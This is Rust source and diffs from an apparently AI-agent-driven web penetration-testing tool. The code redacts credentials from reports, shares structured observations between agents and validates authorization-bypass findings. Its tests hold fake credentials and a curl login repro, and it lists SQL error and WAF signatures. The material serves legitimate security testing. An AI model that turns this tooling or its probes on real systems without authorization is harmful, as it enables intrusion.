R.get_or_init(|| Regex::new(r"([A-Za-z0-9_\-.]+)=([^;\s]+)").expect("cookie pair regex"))
}
/// Cookie attributes that are not values worth hiding.
fn cookie_attr(name: &str) -> bool {
matches!(name.to_ascii_lowercase().as_str(), "path" | "domain" | "expires" | "max-age" | "samesite" | "priority")
}
fn already_redacted(v: &str) -> bool {
v.starts_with(PLACEHOLDER) || v.starts_with('$') || v.starts_with("{{") || v.contains('•') || v.chars().all(|c| c == '*' || c == 'x' || c == 'X')
}
/// Strong enough to be replaced in free prose without wiping ordinary words.
fn distinctive(v: &str) -> bool {
if v.chars().count() < 6 {
return false;
}
let classes = [
v.chars().any(|c| c.is_ascii_lowercase()),
v.chars().any(|c| c.is_ascii_uppercase()),
v.chars().any(|c| c.is_ascii_digit()),
v.chars().any(|c| !c.is_ascii_alphanumeric()),
];
classes.iter().filter(|b| **b).count() >= 2
}
/// The findings as they may be shown to people. Idempotent.
pub fn for_people(findings: &[Finding]) -> Vec<Finding> {
Redactor::learn(findings).findings(findings)
}
#[derive(Default, Debug, Clone)]
pub struct Redactor {
/// value → placeholder, in order of discovery.
map: BTreeMap<String, String>,
order: Vec<String>,
}
impl Redactor {
/// Learn every secret value the findings carry.
pub fn learn(findings: &[Finding]) -> Self {
let mut r = Redactor::default();
for f in findings {
if !f.secret.is_empty() && !already_redacted(&f.secret) {
r.add(&f.secret);
}
if let Ok(v) = serde_json::to_value(f) {
r.learn_value(None, &v);
}
}
r
}
pub fn is_empty(&self) -> bool {
self.map.is_empty()
}
fn add(&mut self, v: &str) {
let v = v.trim();
if v.len() < 3 || already_redacted(v) || self.map.contains_key(v) {
return;
}
let ph = format!("{PLACEHOLDER}_{}", self.map.len() + 1);
self.map.insert(v.to_string(), ph);
self.order.push(v.to_string());
}
fn learn_value(&mut self, key: Option<&str>, v: &serde_json::Value) {
match v {
serde_json::Value::String(s) => {
if let Some(k) = key {
if SKIP_FIELDS.contains(&k) {
return;
}
if credential_key(k) {
self.learn_header(k, s);
return;
}
}
self.learn_text(s);
}
serde_json::Value::Array(a) => {
// Header lists as [name, value] pairs.
if let [serde_json::Value::String(n), serde_json::Value::String(val)] = a.as_slice() {
if credential_key(n) {
self.learn_header(n, val);
return;
}
}
for x in a {
self.learn_value(key, x);
}
}
serde_json::Value::Object(o) => {
for (k, x) in o {
self.learn_value(Some(k), x);
}
}
_ => {}
}
}
/// The value of a credential-named field or header.
fn learn_header(&mut self, name: &str, value: &str) {
let n = name.to_ascii_lowercase();
if n.contains("cookie") {
for c in cookie_pair_re().captures_iter(value) {
if !cookie_attr(&c[1]) {
self.add(&c[2]);
}
}
} else if let Some((scheme, rest)) = value.trim().split_once(' ').filter(|(s, _)| ["bearer", "basic", "token", "digest"].contains(&s.to_ascii_lowercase().as_str())) {
let _ = scheme;
self.add(rest);
} else {
self.add(value);
}
self.learn_text(value);
}
fn learn_text(&mut self, s: &str) {
for c in kv_re().captures_iter(s) {
self.add(&c[3]);
}
for re in token_res() {
for c in re.captures_iter(s) {
self.add(&c[1]);
}
}
for l in listed_re().captures_iter(s) {
for c in listed_pair_re().captures_iter(&l[1]) {
self.add(&c[2]);
if let Some(m) = c.get(3) {
self.add(m.as_str());
}
}
}
for line in cookie_re().captures_iter(s) {
for c in cookie_pair_re().captures_iter(&line[1]) {
if !cookie_attr(&c[1]) {
self.add(&c[2]);
}
}
}
}
fn placeholder(&self, v: &str) -> String {
self.map.get(v.trim()).cloned().unwrap_or_else(|| PLACEHOLDER.to_string())
}
/// Redact one rendered string.
pub fn text(&self, s: &str) -> String {
if s.is_empty() {
return String::new();
}
// Learned distinctive values anywhere, longest first so a token that
// contains another is replaced whole.
let mut out = s.to_string();
let mut learned: Vec<&String> = self.order.iter().filter(|v| distinctive(v)).collect();
learned.sort_by_key(|v| std::cmp::Reverse(v.len()));
for v in learned {
if out.contains(v.as_str()) {
out = out.replace(v.as_str(), &self.map[v.as_str()]);
}
}
// Contextual matches (short values, values not learned).
out = kv_re()
.replace_all(&out, |c: &regex::Captures| {
if already_redacted(&c[3]) {
c[0].to_string()
} else {
format!("{}{}{}", &c[1], &c[2], self.placeholder(&c[3]))
}
})
.into_owned();
for re in token_res() {
out = re
.replace_all(&out, |c: &regex::Captures| {
let whole = &c[0];
let v = &c[1];
if already_redacted(v) { whole.to_string() } else { whole.replacen(v, &self.placeholder(v), 1) }
})
.into_owned();
}
out = cookie_re()
.replace_all(&out, |c: &regex::Captures| {
let pairs = cookie_pair_re().replace_all(&c[1], |p: &regex::Captures| {
if cookie_attr(&p[1]) || already_redacted(&p[2]) { p[0].to_string() } else { format!("{}={}", &p[1], self.placeholder(&p[2])) }
});
c[0].replacen(&c[1], &pairs, 1)
})
.into_owned();
out
}
/// A copy of the findings safe to render for people.
pub fn findings(&self, findings: &[Finding]) -> Vec<Finding> {
findings
.iter()
.map(|f| {
let Ok(mut v) = serde_json::to_value(f) else { return f.clone() };
self.redact_value(None, &mut v);
let mut out: Finding = serde_json::from_value(v).unwrap_or_else(|_| f.clone());
if !f.secret.is_empty() && !already_redacted(&f.secret) {
out.secret = "•••• (see vault.json)".into();
}
out
})
.collect()
}
fn redact_value(&self, key: Option<&str>, v: &mut serde_json::Value) {
match v {
serde_json::Value::String(s) => {
if key.is_some_and(|k| SKIP_FIELDS.contains(&k)) {
return;
}
if key.is_some_and(|k| credential_key(k) && !k.eq_ignore_ascii_case("secret")) && !s.is_empty() && !already_redacted(s) {
*s = self.header_value(key.unwrap_or_default(), s);
return;
}
*s = self.text(s);
}
serde_json::Value::Array(a) => {
if let [serde_json::Value::String(n), serde_json::Value::String(val)] = a.as_mut_slice() {
if credential_key(n) {
*val = self.header_value(n, val);
return;
}
}
for x in a.iter_mut() {
self.redact_value(key, x);
}
}
serde_json::Value::Object(o) => {
for (k, x) in o.iter_mut() {
self.redact_value(Some(k), x);
}
}
_ => {}
}
}
/// A credential header keeps its shape (`Bearer $SECRET_2`, `sid=$SECRET_3`).
fn header_value(&self, name: &str, value: &str) -> String {
let n = name.to_ascii_lowercase();
if n.contains("cookie") {
return cookie_pair_re()
.replace_all(value, |p: &regex::Captures| {
if cookie_attr(&p[1]) { p[0].to_string() } else { format!("{}={}", &p[1], self.placeholder(&p[2])) }
})
.into_owned();
}
if let Some((scheme, rest)) = value.trim().split_once(' ') {
if ["bearer", "basic", "token", "digest"].contains(&scheme.to_ascii_lowercase().as_str()) {
return format!("{scheme} {}", self.placeholder(rest));
}
}
self.placeholder(value)
}
/// How many distinct values were redacted (for the report note).
pub fn count(&self) -> usize {
self.map.len()
}
}
#[cfg(test)]
mod tests {
use super::*;
fn finding() -> Finding {
let mut f: Finding = serde_json::from_value(serde_json::json!({
"id": "f1", "agent": "credential_reuse", "title": "Credential reuse via SQLi-leaked admin password", "severity": "High"
}))
.unwrap();
f.payload = "username=admin&password=Hunter2Secret".into();
f.evidence = "POST /login\nCookie: sid=ab12CD34ef56; Path=/\nAuthorization: Bearer abcdefghijkl123456\nlogged in with Hunter2Secret".into();
f.impact = "The leaked password Hunter2Secret opens /admin for user admin.".into();
f.repro_steps = vec!["curl -d 'username=admin&password=Hunter2Secret' https://t.test/login".into()];
f.account = "admin".into();
f
}
#[test]
fn credentials_leave_no_trace_in_rendered_findings() {
let fs = vec![finding()];
let r = Redactor::learn(&fs);
let out = r.findings(&fs);
let all = serde_json::to_string(&out).unwrap();
for raw in ["Hunter2Secret", "ab12CD34ef56", "abcdefghijkl123456"] {
assert!(!all.contains(raw), "{raw} leaked: {all}");
}
assert!(all.contains("$SECRET_"), "{all}");
// Ordinary words and the username survive.
assert!(out[0].impact.contains("for user admin"), "{}", out[0].impact);
assert_eq!(out[0].account, "admin");
assert!(out[0].evidence.contains("Path=/"));
assert!(out[0].evidence.contains("Bearer $SECRET_"));
}
#[test]
fn the_same_value_gets_the_same_placeholder() {
let fs = vec![finding()];
let r = Redactor::learn(&fs);
let out = r.findings(&fs);
let ph = out[0].payload.split("password=").nth(1).unwrap().to_string();
assert!(ph.starts_with("$SECRET_"));
assert!(out[0].impact.contains(&ph), "{} / {}", ph, out[0].impact);
assert!(out[0].repro_steps[0].contains(&ph));
}
#[test]
fn short_values_are_redacted_only_in_context() {
let mut f = finding();
f.payload = "user=admin&pass=admin".into();
f.evidence = "admin console reached".into();
let fs = vec![f];
let out = Redactor::learn(&fs).findings(&fs);
assert!(!out[0].payload.contains("pass=admin"), "{}", out[0].payload);
assert!(out[0].payload.contains("user=admin"));
assert!(out[0].evidence.contains("admin console"));
}
#[test]
fn jwt_and_cloud_keys_in_prose() {
let r = Redactor::default();
let s = r.text("token eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxIn0.sig_part and key AKIAABCDEFGHIJKLMNOP");
assert!(!s.contains("eyJhbGciOiJIUzI1NiJ9"), "{s}");
assert!(!s.contains("AKIAABCDEFGHIJKLMNOP"), "{s}");
}
#[test]
fn credentials_listed_in_prose() {
let mut f = finding();
f.evidence = "returned the plaintext password for every account (admin: Adm1nPass! / sk_live_ab12; alice: alice123). Dump: 'alicealice123admin'".into();
let fs = vec![f];
let out = Redactor::learn(&fs).findings(&fs);
for raw in ["Adm1nPass!", "sk_live_ab12", "alice123"] {
assert!(!out[0].evidence.contains(raw), "{raw}: {}", out[0].evidence);
}
assert!(out[0].evidence.contains("alice: $SECRET_"));
}
#[test]
fn placeholders_are_not_redacted_again() {
let r = Redactor::default();
assert_eq!(r.text("password=$SECRET_1"), "password=$SECRET_1");
assert_eq!(r.text("password=${PASSWORD}"), "password=${PASSWORD}");
}
#[test]
fn generated_account_secret_is_masked() {
let mut f = finding();
f.secret = "Gen3rated!Pw".into();
f.evidence = "account created, password Gen3rated!Pw".into();
let fs = vec![f];
let out = Redactor::learn(&fs).findings(&fs);
assert!(!out[0].evidence.contains("Gen3rated!Pw"));
assert!(out[0].secret.contains("vault"));
}
}
@@ -164,6 +164,7 @@ impl ReplayEngine {
identity: req.identity.clone(), identity: req.identity.clone(),
headers, headers,
request_headers: req.headers.clone(), request_headers: req.headers.clone(),
provenance: "wire:replay".into(),
}) })
} }
+24 -2
View File
@@ -506,6 +506,8 @@ fn tq(s: &str) -> String {
/// the `.typ` when `typst` is unavailable. /// the `.typ` when `typst` is unavailable.
pub fn typst_report(target: &str, findings: &[Finding], dir: &Path) -> std::io::Result<PathBuf> { pub fn typst_report(target: &str, findings: &[Finding], dir: &Path) -> std::io::Result<PathBuf> {
std::fs::create_dir_all(dir)?; std::fs::create_dir_all(dir)?;
let shown = crate::redact::for_people(findings);
let findings = &shown[..];
let run_id = dir.file_name().and_then(|s| s.to_str()).unwrap_or("run").to_string(); let run_id = dir.file_name().and_then(|s| s.to_str()).unwrap_or("run").to_string();
let meta = read_meta(dir); let meta = read_meta(dir);
@@ -807,15 +809,35 @@ pub fn write_all(target: &str, findings: &[Finding], dir: &Path) -> std::io::Res
std::fs::create_dir_all(dir)?; std::fs::create_dir_all(dir)?;
let run_id = dir.file_name().and_then(|s| s.to_str()).unwrap_or("run").to_string(); let run_id = dir.file_name().and_then(|s| s.to_str()).unwrap_or("run").to_string();
let meta = read_meta(dir); let meta = read_meta(dir);
// Reports are for people: credentials the agents quoted become `$SECRET_n`.
// findings.json and the vault keep the raw values for re-testing.
let redactor = crate::redact::Redactor::learn(findings);
let raw = findings;
let shown = redactor.findings(findings);
let findings = &shown[..];
let mut md = markdown(target, findings, &meta); let mut md = markdown(target, findings, &meta);
md.push_str(&pocs_section(dir)); md.push_str(&pocs_section(dir));
std::fs::write(dir.join("report.md"), md)?; std::fs::write(dir.join("report.md"), redactor.text(&md))?;
std::fs::write(dir.join("report.json"), json_report(target, findings, &run_id, &meta))?; std::fs::write(dir.join("report.json"), json_report(target, findings, &run_id, &meta))?;
std::fs::write(dir.join("report.sarif"), crate::sarif::to_string(target, findings))?; std::fs::write(dir.join("report.sarif"), crate::sarif::to_string(target, findings))?;
// Additive deliverables (differential proof, custody chain, exploit-as-test,
// detection content, personas). Best-effort: a failure here never affects
// the reports above.
// They get the raw findings: the regression tests need the real payloads,
// and each applies its own data-minimisation rules.
if let Err(e) = crate::deliverables::write_all(target, raw, dir) {
eprintln!("deliverables: skipped ({e})");
}
// Attack graph (web + internal): chains, Cypher export, JSON. Works without
// Neo4j; best-effort like the deliverables. Raw so equal secrets correlate
// (only salted fingerprints are written).
if let Err(e) = crate::graph_memory::write_artifacts(target, &run_id, raw, dir) {
eprintln!("graph: skipped ({e})");
}
let pocs: Vec<String> = std::fs::read_dir(dir.join("pocs")) let pocs: Vec<String> = std::fs::read_dir(dir.join("pocs"))
.map(|rd| rd.filter_map(|e| e.ok()).map(|e| e.file_name().to_string_lossy().to_string()).collect()) .map(|rd| rd.filter_map(|e| e.ok()).map(|e| e.file_name().to_string_lossy().to_string()).collect())
.unwrap_or_default(); .unwrap_or_default();
std::fs::write(dir.join("report.html"), html_with_pocs(target, findings, &meta, &pocs))?; std::fs::write(dir.join("report.html"), redactor.text(&html_with_pocs(target, findings, &meta, &pocs)))?;
typst_report(target, findings, dir) typst_report(target, findings, dir)
} }
+223
View File
@@ -0,0 +1,223 @@
//! Shared agent traces — what one agent observed, available to the next.
//!
//! Agents run one specialty each, in parallel, and until now each saw only its
//! own transcript. The valuable observations of a run — an error that names the
//! database, a hidden parameter, a version banner, an endpoint only reachable
//! after login — often show up in one agent's process without ever becoming a
//! finding, and the next agent re-derives them (or never does).
//!
//! Every agent's transcript is written to `<run>/traces/<agent>.md` as soon as it
//! finishes. From those files the harness extracts a *structured* digest —
//! endpoint paths, parameter names, error signatures, product versions, block
//! signals — and every later prompt carries it, together with the directory to
//! `grep` for the full context. The digest never copies raw lines (which may
//! hold credentials or personal data) and is fenced as untrusted data, because
//! a trace is mostly target output and the target may be trying to steer the
//! model.
use std::collections::{BTreeMap, BTreeSet};
use std::path::{Path, PathBuf};
/// `<workdir>/traces`, created on demand.
pub fn dir(workdir: Option<&str>) -> Option<PathBuf> {
let d = Path::new(workdir?).join("traces");
std::fs::create_dir_all(&d).ok()?;
Some(std::fs::canonicalize(&d).unwrap_or(d))
}
fn file_name(agent: &str) -> String {
let s: String = agent.chars().map(|c| if c.is_ascii_alphanumeric() || c == '-' || c == '_' { c } else { '_' }).collect();
format!("{}.md", if s.is_empty() { "agent".into() } else { s })
}
/// Record one agent's transcript (overwrites: the latest pass is the trace).
pub fn record(workdir: Option<&str>, agent: &str, text: &str) {
if text.trim().is_empty() {
return;
}
if let Some(d) = dir(workdir) {
let _ = std::fs::write(d.join(file_name(agent)), text);
}
}
/// Record every agent of a phase.
pub fn record_all<F>(workdir: Option<&str>, raw: &[(String, String, F)]) {
for (agent, text, _) in raw {
record(workdir, agent, text);
}
}
const ERROR_SIGNATURES: &[(&str, &str)] = &[
("sql syntax", "SQL syntax error"),
("sqlstate", "SQLSTATE error"),
("ora-0", "Oracle error"),
("pg_query", "PostgreSQL error"),
("psql:", "PostgreSQL error"),
("mysql_fetch", "MySQL error"),
("unclosed quotation", "MSSQL error"),
("sqlite3::", "SQLite error"),
("traceback (most recent call last)", "Python traceback"),
("java.lang.", "Java exception"),
("nullreferenceexception", ".NET exception"),
("system.web.", "ASP.NET error"),
("fatal error:", "PHP fatal error"),
("undefined index", "PHP notice"),
("stack trace", "stack trace"),
("template syntax error", "template engine error"),
("xml parsing error", "XML parser error"),
];
const BLOCK_SIGNALS: &[(&str, &str)] = &[
("cloudflare", "Cloudflare"),
("akamai", "Akamai"),
("mod_security", "ModSecurity"),
("modsecurity", "ModSecurity"),
("request rejected", "WAF rejection"),
("access denied", "access denied"),
("too many requests", "rate limiting"),
("captcha", "CAPTCHA"),
];
const PRODUCTS: &[&str] = &[
"nginx", "apache", "iis", "php", "tomcat", "jetty", "express", "django", "flask", "rails", "laravel", "spring",
"wordpress", "drupal", "joomla", "postgresql", "mysql", "mariadb", "mongodb", "redis", "elasticsearch", "openssl",
"node", "jquery", "angular", "react", "vue", "grafana", "jenkins", "gitlab", "openfire", "solr", "kibana", "keycloak",
];
/// Extract structured observations from all traces, excluding one agent's own.
pub fn digest(workdir: Option<&str>, exclude: Option<&str>) -> String {
let Some(d) = workdir.map(|w| Path::new(w).join("traces")) else { return String::new() };
let Ok(rd) = std::fs::read_dir(&d) else { return String::new() };
let skip = exclude.map(file_name);
let mut endpoints: BTreeSet<String> = BTreeSet::new();
let mut params: BTreeSet<String> = BTreeSet::new();
let mut errors: BTreeMap<&str, BTreeSet<String>> = BTreeMap::new();
let mut blocks: BTreeMap<&str, BTreeSet<String>> = BTreeMap::new();
let mut versions: BTreeSet<String> = BTreeSet::new();
let path_re = regex::Regex::new(r#"(?:\b(?:GET|POST|PUT|PATCH|DELETE|OPTIONS)\s+|https?://[A-Za-z0-9.\-:]+)(/[A-Za-z0-9_\-./{}%:@]*)"#).expect("path regex");
let param_re = regex::Regex::new(r"[?&]([A-Za-z_][A-Za-z0-9_\-\[\]]{0,40})=").expect("param regex");
let ver_re = regex::Regex::new(r"(?i)\b([a-z][a-z0-9.\-]{1,20})[/ ]v?(\d+\.\d+(?:\.\d+)?)\b").expect("version regex");
let mut sources = 0usize;
for e in rd.flatten() {
let name = e.file_name().to_string_lossy().to_string();
if Some(&name) == skip.as_ref() || !name.ends_with(".md") {
continue;
}
let Ok(text) = std::fs::read_to_string(e.path()) else { continue };
sources += 1;
let agent = name.trim_end_matches(".md").to_string();
for c in path_re.captures_iter(&text) {
let p = c[1].split(['?', '#']).next().unwrap_or("").trim_end_matches(['.', ',', ':', ')']);
if p.len() > 1 && p.len() <= 120 {
endpoints.insert(crate::authz_matrix::template(p));
}
}
for c in param_re.captures_iter(&text) {
params.insert(c[1].to_string());
}
let low = text.to_lowercase();
for (needle, label) in ERROR_SIGNATURES {
if low.contains(needle) {
errors.entry(label).or_default().insert(agent.clone());
}
}
for (needle, label) in BLOCK_SIGNALS {
if low.contains(needle) {
blocks.entry(label).or_default().insert(agent.clone());
}
}
for c in ver_re.captures_iter(&text) {
let product = c[1].to_lowercase();
if PRODUCTS.contains(&product.as_str()) {
versions.insert(format!("{product} {}", &c[2]));
}
}
}
if sources == 0 {
return String::new();
}
let take = |set: &BTreeSet<String>, n: usize| set.iter().take(n).cloned().collect::<Vec<_>>().join(", ");
let mut body = String::new();
if !endpoints.is_empty() {
body.push_str(&format!("- endpoints seen ({}): {}\n", endpoints.len(), take(&endpoints, 40)));
}
if !params.is_empty() {
body.push_str(&format!("- parameters seen ({}): {}\n", params.len(), take(&params, 40)));
}
for (label, agents) in &errors {
body.push_str(&format!("- error signature: {label} (in {})\n", take(agents, 6)));
}
for (label, agents) in &blocks {
body.push_str(&format!("- block signal: {label} (in {})\n", take(agents, 6)));
}
if !versions.is_empty() {
body.push_str(&format!("- versions seen: {}\n", take(&versions, 20)));
}
if body.is_empty() {
return String::new();
}
crate::taint::fence(&body, &format!("observations extracted from {sources} other agent trace(s)"))
}
/// The block every prompt carries: where the traces are, and the digest.
pub fn prompt_block(workdir: Option<&str>, exclude: Option<&str>) -> String {
let Some(d) = dir(workdir) else { return String::new() };
let digest = digest(workdir, exclude);
let mut s = format!(
"SHARED TRACES: other agents' full transcripts are in {} (one file per agent). Before re-deriving something — an error, a parameter, a version, an authenticated route — `grep -ril '<keyword>' {}` and build on what another agent already saw; cite the file you used.\n",
d.display(),
d.display()
);
if !digest.is_empty() {
s.push_str(&digest);
s.push('\n');
}
s.push('\n');
s
}
#[cfg(test)]
mod tests {
use super::*;
fn tmp(name: &str) -> String {
let d = std::env::temp_dir().join(format!("ns_traces_{}_{}", name, std::process::id()));
let _ = std::fs::remove_dir_all(&d);
std::fs::create_dir_all(&d).unwrap();
d.display().to_string()
}
#[test]
fn digest_extracts_structure_not_raw_lines() {
let w = tmp("digest");
record(Some(&w), "sqli_error", "GET /api/orders/12?id=1&sort=asc\nYou have an error in your SQL syntax near\nServer: nginx/1.18.0\npassword=Hunter2Secret");
record(Some(&w), "xss_reflected", "POST https://t.test/search?q=x\nblocked by Cloudflare");
let d = digest(Some(&w), None);
assert!(d.contains("/api/orders/{id}"), "{d}");
assert!(d.contains("sort"), "{d}");
assert!(d.contains("SQL syntax error"), "{d}");
assert!(d.contains("nginx 1.18"), "{d}");
assert!(d.contains("Cloudflare"), "{d}");
assert!(!d.contains("Hunter2Secret"), "raw lines (and secrets) must not be copied");
assert!(d.contains("UNTRUSTED"), "digest must be fenced as data");
let _ = std::fs::remove_dir_all(&w);
}
#[test]
fn own_trace_is_excluded() {
let w = tmp("excl");
record(Some(&w), "agent_a", "GET /only-a");
assert!(digest(Some(&w), Some("agent_a")).is_empty());
assert!(digest(Some(&w), None).contains("/only-a"));
let _ = std::fs::remove_dir_all(&w);
}
#[test]
fn prompt_block_points_to_the_directory() {
let w = tmp("block");
let b = prompt_block(Some(&w), None);
assert!(b.contains("traces"));
assert!(b.contains("grep -ril"));
let _ = std::fs::remove_dir_all(&w);
}
}
@@ -286,6 +286,18 @@ pub struct RunConfig {
/// `pci-dss`·`hipaa`·`soc2`. /// `pci-dss`·`hipaa`·`soc2`.
#[serde(default)] #[serde(default)]
pub compliance: Vec<String>, pub compliance: Vec<String>,
/// Authorization matrix engine: `on`|`off`|`auto` (auto = run when
/// `creds_file` loads >=2 identities across >=2 privilege tiers).
#[serde(default)]
pub authz_matrix: Option<String>,
/// Path to a `creds.yaml` carrying the multi-identity block the matrix
/// engine sweeps (admin/readonly/tenant/anonymous + sample values).
#[serde(default)]
pub creds_file: Option<String>,
/// Neo4j endpoint for the attack graph (bolt:// or http(s)://). Falls back
/// to `NEO4J_URI`. Credentials only from `NEO4J_USER`/`NEO4J_PASSWORD`.
#[serde(default)]
pub neo4j: Option<String>,
/// How much compute to spend and where. Defaults to unlimited, which is the /// How much compute to spend and where. Defaults to unlimited, which is the
/// behaviour that existed before budgets — an operator who asks for nothing /// behaviour that existed before budgets — an operator who asks for nothing
/// gets the full run. /// gets the full run.
@@ -348,6 +360,9 @@ impl RunConfig {
sandbox: None, sandbox: None,
revalidate_poc: false, revalidate_poc: false,
compliance: Vec::new(), compliance: Vec::new(),
authz_matrix: None,
creds_file: None,
neo4j: None,
} }
} }
} }
+448 -2
View File
@@ -63,6 +63,12 @@ pub struct Exchange {
/// questions. /// questions.
#[serde(default)] #[serde(default)]
pub request_headers: std::collections::BTreeMap<String, String>, pub request_headers: std::collections::BTreeMap<String, String>,
/// Who observed this exchange: "" (the agent's account), "wire:replay"
/// (the harness re-sent it through its own scope-guarded client),
/// "wire:recorded" (seen by the recording interceptor), "wire:harness"
/// (the harness made the original request itself).
#[serde(default)]
pub provenance: String,
} }
impl Exchange { impl Exchange {
@@ -124,10 +130,97 @@ pub struct Evidence {
/// requested by a different identity. /// requested by a different identity.
pub identity_a: Option<Exchange>, pub identity_a: Option<Exchange>,
pub identity_b: Option<Exchange>, pub identity_b: Option<Exchange>,
/// Authorization matrix: one probe per identity for a single route+method,
/// each tagged with the privilege decision policy SAYS should happen.
#[serde(default)]
pub matrix: Vec<MatrixProbe>,
/// The 403-vs-business-error oracle for a state-changing route: a
/// should-be-denied identity and the privileged control both call the route
/// with a well-formed NON-EXISTENT id, so reachability is proven without
/// mutating any real object.
#[serde(default)]
pub oracle: Option<OracleProbe>,
/// What the wire said about the agent's account (see `crate::wire`).
#[serde(default)]
pub wire: Option<WireCheck>,
#[serde(default)] #[serde(default)]
pub notes: Vec<String>, pub notes: Vec<String>,
} }
/// The result of checking an agent's recorded exchanges against the wire.
#[derive(Debug, Clone, Default, Serialize, Deserialize)]
pub struct WireCheck {
/// Exchanges the harness re-observed itself and that reproduced the claim.
#[serde(default)]
pub reproduced: usize,
/// Exchanges whose method/URL/status the recording interceptor corroborated.
#[serde(default)]
pub corroborated: usize,
/// Exchanges already observed by the harness (no agent account to check).
#[serde(default)]
pub harness_observed: usize,
/// Exchanges nothing on the wire could speak to (mutating verb, scope,
/// missing credentials, network error).
#[serde(default)]
pub unverified: usize,
/// Where the wire disagreed with the agent — each a human-readable reason.
#[serde(default)]
pub contradicted: Vec<String>,
/// Requests the agent reports that the active recording interceptor never
/// saw. A signal, not a verdict: tools can bypass a proxy.
#[serde(default)]
pub absent_from_capture: Vec<String>,
}
impl WireCheck {
/// At least one exchange the verdict rests on came from the wire.
pub fn wire_backed(&self) -> bool {
self.reproduced + self.corroborated + self.harness_observed > 0
}
}
impl Exchange {
/// True when the harness itself observed this exchange.
pub fn from_wire(&self) -> bool {
self.provenance.starts_with("wire:")
}
}
/// What the access policy says an identity should get on a route.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "kebab-case")]
pub enum Expect {
Allow,
Deny,
}
impl Default for Expect {
fn default() -> Self {
Expect::Deny
}
}
/// One identity's attempt at one route+method.
#[derive(Debug, Clone, Default, Serialize, Deserialize)]
pub struct MatrixProbe {
/// "admin" | "readonly" | "tenantB" | "anonymous" | …
#[serde(default)]
pub identity: String,
#[serde(default)]
pub expect: Expect,
pub exchange: Exchange,
}
/// The non-destructive write-route oracle: both calls use a non-existent id.
#[derive(Debug, Clone, Default, Serialize, Deserialize)]
pub struct OracleProbe {
/// The should-be-denied identity calling the write route.
pub denied: Exchange,
/// The privileged identity calling the same route with the same
/// non-existent id — the control the denied call is compared against.
pub privileged: Exchange,
}
/// What the engine concluded. /// What the engine concluded.
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "kebab-case", tag = "verdict", content = "reason")] #[serde(rename_all = "kebab-case", tag = "verdict", content = "reason")]
@@ -363,7 +456,9 @@ impl CweValidator for IdorValidator {
"idor" "idor"
} }
fn cwes(&self) -> &'static [&'static str] { fn cwes(&self) -> &'static [&'static str] {
&["639", "862", "863", "284", "285", "566", "425"] // Object-level / BOLA + forced browsing. Function-level authorization
// (862/863/285) is owned by AuthzMatrixValidator — see its note.
&["639", "284", "566", "425"]
} }
fn evidence_required(&self) -> &'static [&'static str] { fn evidence_required(&self) -> &'static [&'static str] {
&["identity_A_resource", "identity_B_request", "successful unauthorized access", "response_semantics_match"] &["identity_A_resource", "identity_B_request", "successful unauthorized access", "response_semantics_match"]
@@ -403,6 +498,159 @@ impl CweValidator for IdorValidator {
} }
} }
/// Does this response look like an auth denial?
fn is_auth_denied(x: &Exchange) -> bool {
x.status == 401 || x.status == 403
}
/// A body that is really a login page / redirect to sign-in, or equal to the
/// public/unauthenticated view — the classic "status says yes, body says no".
fn looks_like_login_or_public(x: &Exchange) -> bool {
if x.is_redirect() {
let loc = x.header("location").to_lowercase();
if loc.contains("login") || loc.contains("signin") || loc.contains("sign-in") || loc.contains("auth") {
return true;
}
}
let b = x.body.to_lowercase();
b.contains("type=\"password\"")
|| b.contains("name=\"password\"")
|| b.contains("please log in")
|| b.contains("please sign in")
|| b.contains("login required")
}
/// An auth-shaped error signature in a body (used to tell a FORBIDDEN apart
/// from a business-level "not found").
fn has_auth_signature(x: &Exchange) -> bool {
let b = x.body.to_lowercase();
b.contains("forbidden")
|| b.contains("unauthorized")
|| b.contains("access denied")
|| b.contains("not authorized")
|| b.contains("permission denied")
}
/// A business-level signature — the request reached the handler and stopped on
/// a domain rule, not on authorization.
fn has_business_signature(x: &Exchange) -> bool {
let b = x.body.to_lowercase();
b.contains("not found")
|| b.contains("does not exist")
|| b.contains("no such")
|| b.contains("invalid state")
|| b.contains("already")
|| b.contains("cannot be")
}
/// Did the call reach business logic? Either a success, or a business-shaped
/// error (404/409/422/400) that is NOT an authorization refusal.
fn reached_business_logic(x: &Exchange) -> bool {
if is_auth_denied(x) || has_auth_signature(x) {
return false;
}
if x.is_success() {
return true;
}
matches!(x.status, 400 | 404 | 409 | 422) && has_business_signature(x)
}
/// Did the denied identity get the SAME business outcome as the privileged
/// control — i.e. identical treatment, which means authorization did nothing?
fn same_business_outcome(denied: &Exchange, privileged: &Exchange) -> bool {
// Same status class.
let same_class = (denied.status / 100) == (privileged.status / 100);
// Both business (not auth) and roughly the same shape.
same_class && reached_business_logic(denied) && reached_business_logic(privileged)
}
/// Function-level authorization: missing-auth, BFLA, and read-only-can-write,
/// decided from a per-identity matrix and/or the 403-vs-business-error oracle.
/// Object-level (BOLA) stays with `IdorValidator`.
pub struct AuthzMatrixValidator;
impl CweValidator for AuthzMatrixValidator {
fn name(&self) -> &'static str {
"authz-matrix"
}
fn cwes(&self) -> &'static [&'static str] {
// Missing Authorization, Incorrect Authorization, Improper Authorization.
&["862", "863", "285"]
}
fn evidence_required(&self) -> &'static [&'static str] {
&[
"per-identity matrix (>=1 should-be-denied identity) OR the 403-vs-business-error oracle",
"privileged baseline for contrast",
"a write proven non-destructively (non-existent id) or a read proven by matching content",
]
}
fn validate(&self, f: &Finding, ev: &Evidence) -> Verdict {
// 862/863/285 can also describe an object-level access check. When the
// evidence is the identity pair (not a matrix/oracle), that is exactly
// what `IdorValidator` judges — delegate so a BOLA labeled 863 is not
// forced through the function-level path.
if ev.matrix.is_empty()
&& ev.oracle.is_none()
&& (ev.identity_a.is_some() || ev.identity_b.is_some())
{
return IdorValidator.validate(f, ev);
}
// (A) Oracle path — non-destructive proof for state-changing routes.
if let Some(o) = &ev.oracle {
if is_auth_denied(&o.denied) {
return Verdict::Rejected(format!(
"authorization enforced — the denied identity got {}",
o.denied.status
));
}
if looks_like_login_or_public(&o.denied) {
return Verdict::Rejected(
"the response is a login page / public view, not the protected handler".into(),
);
}
if reached_business_logic(&o.denied) && same_business_outcome(&o.denied, &o.privileged) {
return Verdict::Confirmed(format!(
"state-changing route reached business logic as a should-be-denied identity \
(non-existent id → {} matching the privileged control, not a 401/403)",
o.denied.status
));
}
return Verdict::NeedsReview(format!(
